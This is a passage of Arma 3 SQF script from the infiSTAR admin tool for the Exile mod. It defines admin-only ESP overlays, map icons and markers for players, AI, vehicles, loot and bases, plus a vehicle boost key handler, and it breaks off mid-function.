  10519. if(!isNull _x)then
  10520. {
  10521. if(alive _x)then
  10522. {
  10523. _PUIDX = getPlayerUID _x;
  10524. if(_PUIDX == '')then
  10525. {
  10526. if(_x isKindOf 'Animal_Base_F')exitWith{};
  10527. _crew = crew _x;
  10528. if!(_crew isEqualTo [])then
  10529. {
  10530. _distance = cameraOn distance _x;
  10531. _txt = 'AI';
  10532. _type = typeOf _x;
  10533. if(_x isKindOf 'Man')then
  10534. {
  10535. if(_type select [0,11] in ['Exile_Trade','Exile_Guard'])then
  10536. {
  10537. _txt = format['%1 (%2m)',_type,round _distance];
  10538. }
  10539. else
  10540. {
  10541. _txt = format['AI (%1m)',round _distance];
  10542. };
  10543. }
  10544. else
  10545. {
  10546. _txt = format['AI - %1 (%2m)',gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName'),round _distance];
  10547. };
  10548.  
  10549. _grp = group _x;
  10550. if(!isNull _grp)then
  10551. {
  10552. _txt = format['%1 GRP:%2 UNITS:%3',_txt,allGroups find _grp,count units _grp];
  10553. };
  10554. _pos = ASLToATL eyepos _x;
  10555. if(surfaceIsWater _pos)then{_pos = eyepos _x;};
  10556. drawIcon3D['',[1,0,0.75,0.7],_pos,.1,.1,0,_txt,1,.03];
  10557. };
  10558. };
  10559. };
  10560. };
  10561. } forEach ALLVEHICLES_OBJECTS_1500m;
  10562. };
  10563. "";
  10564. fnc_draw3dhandlerDEAD = ""
  10565. {
  10566. if(!isNull _x)then
  10567. {
  10568. if!(getPlayerUID _x isEqualTo '')exitWith{};
  10569.  
  10570. _distance = cameraOn distance _x;
  10571. if(_distance < 500)then
  10572. {
  10573. _name = _x getVariable['ExileName',''];
  10574. if(_name != '')then
  10575. {
  10576. _clr = [1,1,1,0.7];
  10577. _txt = format['%1 %2m',_name,round _distance];
  10578. _pos = _x modelToWorld [0,0,1];
  10579. drawIcon3D['',_clr,_pos,0,0,45,_txt,0,.032];
  10580. };
  10581. };
  10582. };
  10583. } forEach allDeadMen;
  10584. "";
  10585. fnc_call_single_esps = {
  10586. if(!isNil'infiSTAREspEHVAR')then{
  10587. removeMissionEventHandler ['Draw3D',infiSTAREspEHVAR];
  10588. infiSTAREspEHVAR=nil;
  10589. };
  10590. _string = '';
  10591. if(!isNil 'fnc_infiESP_stateAI')then
  10592. {
  10593. _string = _string + fnc_draw3dhandlerAI;
  10594. };
  10595. if(!isNil 'fnc_infiESP_stateDEAD')then
  10596. {
  10597. _string = _string + fnc_draw3dhandlerDEAD;
  10598. };
  10599. if(_string != '')then
  10600. {
  10601. _string = ('if(!isNull findDisplay 49)exitWith{true};'+_string);
  10602. infiSTAREspEHVAR = addMissionEventHandler ['Draw3D',_string];
  10603. };
  10604. };
  10605. fnc_PlayerESP_NORM_CODE = {
  10606. private['_distance','_alpha','_clr','_crew','_pos'];
  10607.  
  10608. {
  10609. _distance = round(cameraOn distance _x);
  10610. if(_distance < 2000)then
  10611. {
  10612. _alpha = (1-(_distance/2000/1.5));
  10613. _isOnFoot = isNull objectParent _x;
  10614. if(_isOnFoot)then
  10615. {
  10616. _name = _x call FN_GET_NAME;
  10617. _clr = _x call FN_GET_CLR;
  10618. _curwep = currentWeapon _x;
  10619. _hp = round((damage _x - 1) * -100);
  10620. _txt = format['unarmed - %1HP',_hp];
  10621.  
  10622. _pos = _x modelToWorldVisual (_x selectionPosition 'head');
  10623. _pos2D = worldToScreen _pos;
  10624.  
  10625.  
  10626. _txt2 = '';
  10627. if(alive _x)then
  10628. {
  10629. _txt2 = format['%1 - %2m',_name,_distance];
  10630. }
  10631. else
  10632. {
  10633. _txt2 = format['%1 - %2m (DEAD, but still watching)',_name,_distance];
  10634. };
  10635. if(abs(_pos2D select 0) < 1)then
  10636. {
  10637. if(_curwep != '')then
  10638. {
  10639. _txt = format['%1 - [%2/%3] - %4HP',gettext(configFile >> 'CfgWeapons' >> _curwep >> 'displayName'),_x ammo _curwep,getNumber(configFile >> 'CfgMagazines' >> currentMagazine _x >> 'count'),_hp];
  10640. };
  10641.  
  10642. _dir = [_x,cameraOn] call BIS_fnc_relativeDirTo;
  10643. drawIcon3D['iconManMedic',_clr,_pos,.5,.5,if(_x isEqualTo cameraOn)then{_dir}else{_dir+180},_txt,1,0.03,'PuristaMedium','',true];
  10644. drawIcon3D['',_clr,_pos,.5,0,0,_txt2,1,0.03,'PuristaMedium','',true];
  10645. }
  10646. else
  10647. {
  10648. drawIcon3D['iconManMedic',_clr,_pos,.5,.5,([_x,cameraOn] call BIS_fnc_relativeDirTo)+180,_txt2,1,0.03,'PuristaMedium','',true];
  10649. };
  10650. }
  10651. else
  10652. {
  10653. _veh = vehicle _x;
  10654. _class = typeOf _veh;
  10655. _speed = round(speed _veh*100)/100;
  10656. _maxSpeed = getNumber(configFile >> 'CfgVehicles' >> _class >> 'maxSpeed');
  10657. _typename = gettext(configFile >> 'CfgVehicles' >> _class >> 'displayName');
  10658. _icon = gettext(configFile >> 'CfgVehicles' >> _class >> 'Picture');
  10659.  
  10660. _crew = crew _veh;
  10661. _vehclr = [0.047,0.502,1,_alpha];
  10662. if(!alive _veh)then{_vehclr = [1,1,1,_alpha]};
  10663.  
  10664. _pos = _veh modelToWorldVisual [0,0,0];
  10665. _pos2D = worldToScreen _pos;
  10666. if(abs(_pos2D select 0) < 1)then
  10667. {
  10668. _cnt = count _crew;
  10669. if(_cnt > 0)then
  10670. {
  10671. _num = _cnt * -1;
  10672. {
  10673. _height = _num + _forEachIndex;
  10674. _role = assignedVehicleRole _x;
  10675. if(_role isEqualTo [])then{_role = 'Passenger';}else{_role = _role select 0;};
  10676. _txt = format['%1. %2 - %3 %4HP',_forEachIndex,_role,_x call FN_GET_NAME,round((1-(damage _x))*100)];
  10677. drawIcon3D['\A3\ui_f\data\map\Markers\Military\dot_ca.paa',[1,0.17,0.17,_alpha],_x modelToWorldVisual (_x selectionPosition 'head'),0,0,0,format['%1',_forEachIndex],1,0.03,'PuristaMedium','',true];
  10678. drawIcon3D['',_x call FN_GET_CLR,_pos,.5,_height,0,_txt,1,0.03,'PuristaMedium','',true];
  10679. } forEach _crew;
  10680. };
  10681.  
  10682. _txt = format['%1 - %2m',_typename,_distance];
  10683. drawIcon3D['',_vehclr,_pos,.5,0,0,_txt,1,0.03,'PuristaMedium','',true];
  10684.  
  10685. _txt = format['%1/%2km/h %3HP',_speed,_maxSpeed,round((1-(damage _veh))*100)];
  10686. drawIcon3D[_icon,_vehclr,_pos,.5,.5,0,_txt,1,0.03,'PuristaMedium','',true];
  10687. }
  10688. else
  10689. {
  10690. _crewnames = '';
  10691. {
  10692. if(_crewnames == '')then
  10693. {
  10694. _crewnames = _x call FN_GET_NAME;
  10695. }
  10696. else
  10697. {
  10698. _crewnames = format['%1, %2',_crewnames,_x call FN_GET_NAME];
  10699. };
  10700. } forEach _crew;
  10701.  
  10702. _txt = format['%1 - %2 - %3HP - %4m',_crewnames,_typename,round((1-(damage _veh))*100),_distance];
  10703. drawIcon3D[_icon,_vehclr,_pos,.5,.5,0,_txt,1,0.03,'PuristaMedium','',true];
  10704. };
  10705. };
  10706. };
  10707. } forEach plr_in_sd;
  10708. true
  10709. };
  10710. fnc_PlayerESP_NORM = {
  10711. if(!isNil'plr_in_sd_task')then{[plr_in_sd_task] call ExileClient_system_thread_removeTask;plr_in_sd_task=nil;};
  10712. if(isNil'fnc_PlayerESP_NORM_ID')then
  10713. {
  10714. plr_in_sd = (call fnc_get_plr);
  10715. _code = {
  10716. plr_in_sd = [];{if(cameraOn distance _x < 3000)then{plr_in_sd pushBackUnique _x;};} forEach (call fnc_get_plr);
  10717. };
  10718. plr_in_sd_task = [3, _code, [], true] call ExileClient_system_thread_addtask;
  10719. fnc_PlayerESP_NORM_ID = addMissionEventHandler ['Draw3D', { if(isNull findDisplay 49)then{[] call fnc_PlayerESP_NORM_CODE;};true } ];
  10720. }
  10721. else
  10722. {
  10723. plr_in_sd = [];
  10724. removeMissionEventHandler ['Draw3D', fnc_PlayerESP_NORM_ID];fnc_PlayerESP_NORM_ID=nil;
  10725. };
  10726. };
  10727. fnc_PlayerESP_SS_CODE = {
  10728. private['_espRenderRange','_distance','_alpha','_clr','_crew','_pos'];
  10729. _espRenderRange = _this;
  10730. if (!isNull cameraOn) then
  10731. {
  10732. {
  10733. if(!isNull _x)then
  10734. {
  10735. if(isPlayer _x)then
  10736. {
  10737. _distance = round(cameraOn distance _x);
  10738. _alpha = (1-(_distance/_espRenderRange/1.5));
  10739. _clr = [1,1,1,_alpha];
  10740. _crew = crew (vehicle _x);
  10741. _name = '';
  10742. {
  10743. if(_forEachIndex == 0) then
  10744. {
  10745. _name = format['%1(%2m)',_x call FN_GET_NAME,_distance];
  10746. }
  10747. else
  10748. {
  10749. _name = _name + format[', %1(%2m)',_x call FN_GET_NAME,_distance];
  10750. };
  10751. } forEach _crew;
  10752. _pos = _x modelToWorldVisual (_x selectionPosition 'head');
  10753. drawIcon3D['\A3\ui_f\data\map\Markers\Military\dot_ca.paa',_clr,_pos,.3,.3,0,_name,1,0.03];
  10754. };
  10755. };
  10756. } forEach ((cameraOn nearEntities[['Exile_Unit_Player', 'LandVehicle', 'Ship', 'Air'], _espRenderRange]) - [cameraOn]);
  10757. };
  10758. };
  10759. fnc_PlayerESP_SS = {
  10760. if(isNil'fnc_PlayerESP_SS_ID')then
  10761. {
  10762. fnc_PlayerESP_SS_ID = addMissionEventHandler ['Draw3D', { if(isNull findDisplay 49)then{2000 call fnc_PlayerESP_SS_CODE;};true } ];
  10763. }
  10764. else
  10765. {
  10766. removeMissionEventHandler ['Draw3D', fnc_PlayerESP_SS_ID];fnc_PlayerESP_SS_ID=nil;
  10767. };
  10768. };
  10769. iconTextSize = 250 * pixelH;
  10770. nameTextSize = 15 * pixelH;
  10771. fnc_LootESP_CODE = {
  10772. if (!isNull cameraOn) then
  10773. {
  10774. _pos = getPos cameraOn;
  10775. _distance = 300;
  10776.  
  10777. _getinfo = {
  10778. _cnt = count weaponCargo _this;if(_cnt > 0)exitWith{[[1,0,0,1],'Weapon',_cnt]};
  10779. _cnt = count magazineCargo _this;if(_cnt > 0)exitWith{[[1,1,0,1],'Magazine',_cnt]};
  10780. _cnt = count itemCargo _this;if(_cnt > 0)exitWith{[[0,0,1,1],'Item',_cnt]};
  10781. _cnt = count backpackCargo _this;if(_cnt > 0)exitWith{[[0,1,0,1],'Backpack',_cnt]};
  10782. [[1,1,1,1],typeOf _this,1]
  10783. };
  10784.  
  10785. {
  10786. _ret = _x call _getinfo;
  10787. _clr = _ret select 0;
  10788. _txt = _ret select 1;
  10789. _cnt = _ret select 2;
  10790. drawIcon3D['A3\ui_f\data\map\Markers\Military\dot_ca.paa',_clr,getPosATL _x,iconTextSize,iconTextSize,0,format['%1(%2)',_txt,_cnt],0,nameTextSize,'PuristaMedium','',true];
  10791. } forEach (nearestObjects [cameraOn, ['LootWeaponHolder', 'GroundWeaponHolder', 'WeaponHolderSimulated'],_distance]);
  10792. };
  10793. };
  10794. fnc_LootESP = {
  10795. if(isNil'LootESPid')then
  10796. {
  10797. LootESPid = addMissionEventHandler ['Draw3D', { if(isNull findDisplay 49)then{call fnc_LootESP_CODE;};true } ];
  10798. systemChat '<infiSTAR.de> Loot ESP showing loot within 300m';
  10799. }
  10800. else
  10801. {
  10802. removeMissionEventHandler ['Draw3D',LootESPid];
  10803. LootESPid=nil;
  10804. };
  10805. };
  10806. fnc_draw_MapIcons = {
  10807. _icon = '';
  10808. _alpha = 1;
  10809. _iscale = ((1 - ctrlMapScale _ctrl) max .2) * 28;
  10810. if(mapiconsshowplayer)then
  10811. {
  10812. _shown = [];
  10813. {
  10814. if(!isNull _x)then
  10815. {
  10816. _veh = vehicle _x;
  10817. if(_veh in _shown)exitWith{};
  10818. _shown pushBack _veh;
  10819. _PUIDX = getPlayerUID _x;
  10820. if(_PUIDX != '')then
  10821. {
  10822. _name = _x getVariable['ExileName',name _x];
  10823. _type = typeOf _veh;
  10824. _dist = round(_veh distance player);
  10825. _clr = _x call FN_GET_CLR;
  10826. _txt = format['%1 (%2m) (DEAD, but still watching)',_name,_dist];
  10827. if(alive _x)then
  10828. {
  10829. if(_x isEqualTo _veh)then
  10830. {
  10831. _txt = format['%1 (%2m)',_name,_dist];
  10832. }
  10833. else
  10834. {
  10835. _names = '';
  10836. {
  10837. if(_forEachIndex isEqualTo 0)then
  10838. {
  10839. _names = _names + format['%1',_x getVariable['ExileName',name _x]];
  10840. }
  10841. else
  10842. {
  10843. _names = _names + format[', %1',_x getVariable['ExileName',name _x]];
  10844. };
  10845. } forEach (crew _veh);
  10846. _typename = gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName');
  10847. _txt = format['%1 - %2 (%3m)',_names,_typename,_dist];
  10848. };
  10849. };
  10850.  
  10851. _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
  10852. _grpx = group _x;
  10853. if(!isNull _grpx)then
  10854. {
  10855. _alive = {alive _x} count units _grpx;
  10856. if(_alive > 1)then
  10857. {
  10858. _txt = _txt + format[' GRP:%1 PLR:%2',allGroups find _grpx,_alive];
  10859. };
  10860. };
  10861.  
  10862. _ctrl drawIcon [_icon, _clr, getPosASL _veh, _iscale, _iscale, getDir _veh,_txt];
  10863. };
  10864. };
  10865. } forEach (call fnc_get_plr);
  10866. };
  10867. if(mapiconsshowvehicles||mapiconsshowai)then
  10868. {
  10869. {
  10870. if(!isNull _x)then
  10871. {
  10872. _PUIDX = getPlayerUID _x;
  10873. if(_PUIDX isEqualTo '')then
  10874. {
  10875. _veh = vehicle _x;
  10876. _type = typeOf _veh;
  10877. if(mapiconsshowvehicles)then
  10878. {
  10879. if!(_veh isKindOf 'Man')then
  10880. {
  10881. _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
  10882. _drawcode = [_icon, [0.67,0.97,0.97,1], getPosASL _veh, _iscale, _iscale, getDir _veh];
  10883. _displayName = '';
  10884. if(mapiconsshowvehiclestypes)then
  10885. {
  10886. _displayName = gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName');
  10887. _drawcode pushBack _displayName;
  10888. };
  10889. if(mapiconsshowvehicleslockstate)then
  10890. {
  10891. _locked = locked _veh;
  10892. if!(_locked isEqualTo 1)then
  10893. {
  10894. if(_locked isEqualTo 0)then
  10895. {
  10896. _drawcode set[1,[0,0.55,0.15,1]];
  10897. }
  10898. else
  10899. {
  10900. _drawcode set[1,[1,0.4,0,1]];
  10901. };
  10902. };
  10903. };
  10904. _ctrl drawIcon _drawcode;
  10905. };
  10906. };
  10907. if(mapiconsshowai)then
  10908. {
  10909. if(_x isKindOf 'Animal_Base_F')exitWith{};
  10910. _crew = crew _x;
  10911. if!(_crew isEqualTo [])then
  10912. {
  10913. _distance = cameraOn distance _x;
  10914. _txt = 'AI';
  10915. _type = typeOf _x;
  10916. if(_x isKindOf 'Man')then
  10917. {
  10918. if(_type select [0,11] in ['Exile_Trade','Exile_Guard'])then
  10919. {
  10920. _txt = format['%1 (%2m)',_type,round _distance];
  10921. }
  10922. else
  10923. {
  10924. _txt = format['AI (%1m)',round _distance];
  10925. };
  10926. }
  10927. else
  10928. {
  10929. _txt = format['AI - %1 (%2m)',gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName'),round _distance];
  10930. };
  10931.  
  10932. _grp = group _x;
  10933. if(!isNull _grp)then
  10934. {
  10935. _txt = format['%1 GRP:%2 UNITS:%3',_txt,allGroups find _grp,count units _grp];
  10936. };
  10937. _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
  10938. _ctrl drawIcon [_icon, [1,0,0.75,1], getPosASL _x, _iscale, _iscale, getDir _x,_txt];
  10939. };
  10940. };
  10941. };
  10942. };
  10943. } forEach ([0,0,0] nearEntities ['Allvehicles',1000000]);
  10944. };
  10945. if(mapiconsshowdeadvehicles)then
  10946. {
  10947. {
  10948. if((_x isKindOf 'Air')||(_x isKindOf 'Landvehicle'))then
  10949. {
  10950. _veh = vehicle _x;
  10951. _type = typeOf _veh;
  10952. _clr = [1,1,1,1];
  10953. if(_x isEqualTo SELECTED_TARGET_PLAYER)then{_clr = [1,0.7,0.15,1];};
  10954. _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
  10955. _ctrl drawIcon [_icon, _clr, getPosASL _x, _iscale, _iscale, getDir _x];
  10956. };
  10957. } forEach allDead;
  10958. };
  10959. if(mapiconsshowdeadplayer)then
  10960. {
  10961. {
  10962. if(!isNull _x)then
  10963. {
  10964. _name = _x getVariable['ExileName',''];
  10965. if(_name != '')then
  10966. {
  10967. _veh = vehicle _x;
  10968. _dist = round(_veh distance player);
  10969. _txt = format['%1 (%2m)',_name,_dist];
  10970. if(getPlayerUID _x != '')then
  10971. {
  10972. _txt = format['%1 (%2m) (DEAD, but still watching)',_name,_dist];
  10973. };
  10974. _type = typeOf _veh;
  10975. _clr = [1,1,1,1];
  10976. _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
  10977. _ctrl drawIcon [_icon, _clr, getPosASL _veh, _iscale, _iscale, getDir _veh,_txt];
  10978. };
  10979. };
  10980. } forEach allDeadMen;
  10981. };
  10982. };
  10983. fnc_mapiconsshowflags = {
  10984. {
  10985. _ctrl drawIcon ['iconObject_1x1', [0,1,1,1], getPosASL _x, _size, _size, getDir _x];
  10986. } forEach Exile_Construction_Flag_Static_ARRAY;
  10987. };
  10988. fnc_mapiconsshowbuildings = {
  10989. {
  10990. _ctrl drawIcon ['iconObject_1x1', [1,1,1,1], getPosASL _x, _size, _size, getDir _x];
  10991. } forEach Exile_Construction_Abstract_Static_ARRAY;
  10992. };
  10993. fnc_mapiconsshowcameras = {
  10994. {
  10995. _ctrl drawIcon ['iconObject_1x1', [1,0,1,1], getPosASL _x, _size, _size, getDir _x];
  10996. } forEach Exile_Construction_BaseCamera_Static_ARRAY;
  10997. };
  10998. fnc_removeButtons = {disableSerialization;{ctrlDelete _x;} forEach MapIconsButtonCTRLs;};
  10999. fnc_addButtons = {
  11000. _xpos = 0.5;
  11001. _y = safeZoneY+0.0105;
  11002. MapIconsButtonCTRLs = [];
  11003.  
  11004. for '_i' from 2084 to 2093 do
  11005. {
  11006. _y = _y + 0.0495;
  11007. _ctrl = [_display,'RscButton',_i] call fnc_createctrl;
  11008. _ctrl ctrlSetPosition [_xpos,_y,0.3,0.05];
  11009. MapIconsButtonCTRLs pushBack _ctrl;
  11010. };
  11011. };
  11012. infiSTAR_A3MAPICONS = {
  11013. if(isNil 'fnc_MapIcons_run')then
  11014. {
  11015. fnc_MapIcons_run = true;
  11016. if(isNil'timerForBaseParts')then{timerForBaseParts = 0;};
  11017. if(isNil'Exile_Construction_Flag_Static_ARRAY')then{Exile_Construction_Flag_Static_ARRAY = [];};
  11018. if(isNil'Exile_Construction_Abstract_Static_ARRAY')then{Exile_Construction_Abstract_Static_ARRAY = [];};
  11019. if(isNil'Exile_Construction_BaseCamera_Static_ARRAY')then{Exile_Construction_BaseCamera_Static_ARRAY = [];};
  11020.  
  11021. if(isNil'mapiconsshowflags')then{mapiconsshowflags=false;};
  11022. if(isNil'mapiconsshowbuildings')then{mapiconsshowbuildings=false;};
  11023. if(isNil'mapiconsshowcameras')then{mapiconsshowcameras=false;};
  11024. if(isNil'mapiconsshowplayer')then{mapiconsshowplayer=true;};
  11025. if(isNil'mapiconsshowvehicles')then{mapiconsshowvehicles=false;};
  11026. if(isNil'mapiconsshowvehiclestypes')then{mapiconsshowvehiclestypes=false;};
  11027. if(isNil'mapiconsshowvehicleslockstate')then{mapiconsshowvehicleslockstate=false;};
  11028. if(isNil'mapiconsshowdeadplayer')then{mapiconsshowdeadplayer=false;};
  11029. if(isNil'mapiconsshowdeadvehicles')then{mapiconsshowdeadvehicles=false;};
  11030. if(isNil'mapiconsshowai')then{mapiconsshowai=false;};
  11031.  
  11032. if(!isNil'MAP_BUTTON_THREAD')exitWith{};
  11033. MAP_BUTTON_THREAD = [] spawn {
  11034. disableSerialization;
  11035. private['_display','_button','_state','_text','_function','_color'];
  11036. _display = findDisplay 12;
  11037. while{true}do
  11038. {
  11039. if(visibleMap)then
  11040. {
  11041. if(mapiconsshowflags || mapiconsshowbuildings || mapiconsshowcameras)then
  11042. {
  11043. if(time > timerForBaseParts)then
  11044. {
  11045. timerForBaseParts = time + 25;
  11046.  
  11047. Exile_Construction_Flag_Static_ARRAY = allMissionObjects 'Exile_Construction_Flag_Static';
  11048. Exile_Construction_Abstract_Static_ARRAY = allMissionObjects 'Exile_Construction_Abstract_Static';
  11049. Exile_Construction_BaseCamera_Static_ARRAY = allMissionObjects 'Exile_Construction_BaseCamera_Static';
  11050. };
  11051. };
  11052. if(isNil'EventHandlerDrawAdded')then
  11053. {
  11054. call fnc_addButtons;
  11055. EventHandlerDrawAdded = (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlAddEventHandler['Draw','
  11056. if(visibleMap)then
  11057. {
  11058. _ctrl = _this select 0;
  11059. _myscale = 33.2012;
  11060. _scale = ctrlMapScale _ctrl;
  11061. _size = 10 max (_myscale*(_myscale/(_scale * 10000)));
  11062. if(mapiconsshowflags)then{call fnc_mapiconsshowflags};
  11063. if(mapiconsshowbuildings)then{call fnc_mapiconsshowbuildings};
  11064. if(mapiconsshowcameras)then{call fnc_mapiconsshowcameras};
  11065. call fnc_draw_MapIcons
  11066. }
  11067. '];
  11068. };
  11069.  
  11070. {
  11071. _var = _x select 0;
  11072. _text = _x select 1;
  11073. _button = MapIconsButtonCTRLs select _forEachIndex;
  11074.  
  11075. _state = missionNameSpace getVariable [_var,false];
  11076. _color = if(_state)then{[0.56,0.04,0.04,1]}else{[0,1,0,1]};
  11077. _BTNtext = if(_state)then{format['Hide %1',_text]}else{format['Show %1',_text]};
  11078. _onoff = if(_state)then{'OFF'}else{'ON'};
  11079. _button ctrlSetText _BTNtext;
  11080. _button ctrlSetTextColor _color;
  11081. _button ctrlRemoveAllEventHandlers 'ButtonDown';
  11082. _button ctrlAddEventHandler ['ButtonDown',
  11083. format['
  11084. ''MapIcons: %1 - %2'' call fnc_adminLog;
  11085. missionNameSpace setVariable [''%3'',!(missionNameSpace getVariable [''%3'',false])];
  11086. ',
  11087. _text,_onoff,_var]
  11088. ];
  11089. if!(format['MapIcons: %1',_text] call ADMINLEVELACCESS)then{_button ctrlEnable false;};
  11090. _button ctrlCommit 0;
  11091. } forEach [
  11092. ['mapiconsshowflags','Flags'],
  11093. ['mapiconsshowbuildings','Buildings'],
  11094. ['mapiconsshowcameras','CAMERAS'],
  11095. ['mapiconsshowplayer','Player'],
  11096. ['mapiconsshowdeadplayer','DeadPlayer'],
  11097. ['mapiconsshowvehicles','Vehicles'],
  11098. ['mapiconsshowvehiclestypes','Vehicle Types'],
  11099. ['mapiconsshowvehicleslockstate','Vehicle lockstate'],
  11100. ['mapiconsshowdeadvehicles','DeadVehicles'],
  11101. ['mapiconsshowai','AI']
  11102. ];
  11103.  
  11104. if(mapiconsshowvehicles)then
  11105. {
  11106. MapIconsButtonCTRLs select 6 ctrlEnable true;
  11107. MapIconsButtonCTRLs select 7 ctrlEnable true;
  11108. }
  11109. else
  11110. {
  11111. MapIconsButtonCTRLs select 6 ctrlEnable false;
  11112. MapIconsButtonCTRLs select 7 ctrlEnable false;
  11113. mapiconsshowvehiclestypes = false;
  11114. mapiconsshowvehicleslockstate=false;
  11115. };
  11116. }
  11117. else
  11118. {
  11119. if(!isNil'EventHandlerDrawAdded')then
  11120. {
  11121. call fnc_removeButtons;
  11122. (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['Draw',EventHandlerDrawAdded];EventHandlerDrawAdded=nil;
  11123. };
  11124. };
  11125. uiSleep 0.3;
  11126. };
  11127. };
  11128. }
  11129. else
  11130. {
  11131. fnc_MapIcons_run = nil;
  11132. terminate MAP_BUTTON_THREAD;MAP_BUTTON_THREAD=nil;
  11133. if(!isNil'EventHandlerDrawAdded')then{(uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['Draw',EventHandlerDrawAdded];EventHandlerDrawAdded=nil;};
  11134. call fnc_removeButtons;
  11135. };
  11136. };
  11137. adminVehicleMarkers = {
  11138. while {true} do
  11139. {
  11140. {
  11141. _typename = gettext (configFile >> 'CfgVehicles' >> typeOf _x >> 'displayName');
  11142. _xPos = getPos _x;
  11143.  
  11144. _cm = ('adminVehicleMarkers' + (str _forEachIndex));
  11145. _pos = getMarkerPos _cm;
  11146. if((_pos select 0 != _xPos select 0) || (_pos select 1 != _xPos select 1))then
  11147. {
  11148. deleteMarkerLocal _cm;
  11149. _vm = createMarkerLocal [_cm,_xPos];ADMIN_LOCAL_MARKER=true;
  11150. _vm setMarkerDirLocal (getDir _x);
  11151. _vm setMarkerTypeLocal 'mil_start';
  11152. _vm setMarkerColorLocal 'ColorBlue';
  11153. _vm setMarkerTextLocal format['%1',_typename];
  11154. };
  11155. } forEach ([0,0,0] nearEntities[['LandVehicle','Ship','Air','Tank'],1000000]);
  11156. uiSleep 1;
  11157. };
  11158. for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminVehicleMarkers' + (str _i));};
  11159. };
  11160. adminVehicleMarker = {
  11161. if(isNil 'markadVehicleMarker')then
  11162. {
  11163. markadVehicleMarker = [] spawn adminVehicleMarkers;
  11164. }
  11165. else
  11166. {
  11167. terminate markadVehicleMarker;markadVehicleMarker=nil;
  11168. for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminVehicleMarkers' + (str _i));};
  11169. };
  11170. };
  11171. adminFlagMarks = {
  11172. while {true} do
  11173. {
  11174. if(isNil'timerForFlags')then{timerForFlags = 0;};
  11175. if(time > timerForFlags)then
  11176. {
  11177. timerForFlags = time + 25;
  11178. Exile_Construction_Flag_Static_ARRAY = (allMissionObjects 'Exile_Construction_Flag_Static');
  11179. };
  11180. for '_i' from 0 to (count Exile_Construction_Flag_Static_ARRAY)-1 do
  11181. {
  11182. _c = Exile_Construction_Flag_Static_ARRAY select _i;
  11183. if(!isNull _c)then
  11184. {
  11185. deleteMarkerLocal ('adminFlagMarks' + (str _i));
  11186. _vm = createMarkerLocal [('adminFlagMarks' + (str _i)), getPos _c];
  11187. _vm setMarkerAlphaLocal 0.8;
  11188. _vm setMarkerBrushLocal 'Grid';
  11189. _radius = _c getVariable['ExileTerritorySize', 15];
  11190. _vm setMarkerSizeLocal [_radius,_radius];
  11191. _vm setMarkerShapeLocal 'ELLIPSE';
  11192. _vm setMarkerColorLocal 'ColorGreen';
  11193.  
  11194. _k = _i + 30000;
  11195. deleteMarkerLocal ('adminFlagMarks' + (str _k));
  11196. _vm = createMarkerLocal [('adminFlagMarks' + (str _k)), getPos _c];
  11197. _vm setMarkerColorLocal 'ColorGreen';
  11198. _vm setMarkerTypeLocal 'selector_selectable';
  11199. _vm setMarkerSizeLocal [0.5,0.5];
  11200.  
  11201. _level = _c getVariable['ExileTerritoryLevel', 1];
  11202. _vm setMarkerTextLocal format['LVL %1',_level];
  11203. };
  11204. };
  11205. uiSleep 20;
  11206. };
  11207. };
  11208. adminFlagMark = {
  11209. if(isNil 'FLAG_MARK_THREAD')then
  11210. {
  11211. timerForFlags = 0;
  11212. FLAG_MARK_THREAD = [] spawn adminFlagMarks;
  11213. }
  11214. else
  11215. {
  11216. terminate FLAG_MARK_THREAD;FLAG_MARK_THREAD=nil;
  11217. _flagCount = (count Exile_Construction_Flag_Static_ARRAY)+300;
  11218. for '_i' from 0 to _flagCount do {deleteMarkerLocal ('adminFlagMarks' + (str _i));deleteMarkerLocal ('adminFlagMarks' + (str (_i+30000)));};
  11219. };
  11220. };
  11221. adminDeadPlayers =
  11222. {
  11223. while {true} do
  11224. {
  11225. ADMIN_DeadPlayer_LIST = [] + allDeadMen;
  11226. for '_i' from 0 to (count ADMIN_DeadPlayer_LIST)-1 do
  11227. {
  11228. deleteMarkerLocal ('adminDeadPlayers' + (str _i));
  11229. _c = ADMIN_DeadPlayer_LIST select _i;
  11230. if(!isNull _c)then
  11231. {
  11232. _txt = _c getVariable['ExileName','DEAD'];
  11233. if(_txt != 'DEAD')then
  11234. {
  11235. _txt = format['%1 (DEAD)',_txt];
  11236. _vm = createMarkerLocal [('adminDeadPlayers' + (str _i)), getPos _c];ADMIN_LOCAL_MARKER=true;
  11237. _vm setMarkerTypeLocal 'waypoint';
  11238. _vm setMarkerColorLocal 'ColorBlack';
  11239. _vm setMarkerTextLocal _txt;
  11240. };
  11241. };
  11242. };
  11243. uiSleep 20;
  11244. };
  11245. for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminDeadPlayers' + (str _i));};
  11246. };
  11247. adminDeadPlayer = {
  11248. if(isNil 'markadDeadPlayer')then
  11249. {
  11250. markadDeadPlayer = [] spawn adminDeadPlayers;
  11251. }
  11252. else
  11253. {
  11254. terminate markadDeadPlayer;markadDeadPlayer=nil;
  11255. for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminDeadPlayers' + (str _i));};
  11256. };
  11257. };
  11258. fnc_infiSTAR_vehboostKeydown = {
  11259. _key = _this select 1;
  11260. _shiftState = _this select 2;
  11261. _ctrlState = _this select 3;
  11262. _altState = _this select 4;
  11263.  
  11264. _obj = cameraOn;
  11265. if(!local _obj)exitWith{};
  11266. if(_obj == player)exitWith{};
  11267.  
  11268.  
  11269. if(_key isEqualTo 0x39)exitWith
  11270. {
  11271. _vel = velocity _obj;
  11272. _obj setVelocity [
  11273. (_vel select 0) * 0.96,
  11274. (_vel select 1) * 0.96,
  11275. (_vel select 2) * 0.98
  11276. ];
  11277. false
  11278. };
  11279.  
  11280. _maxSpeed = getNumber(configFile >> 'CfgVehicles' >> typeOf _obj >> 'maxSpeed');
  11281. _speed = speed _obj;
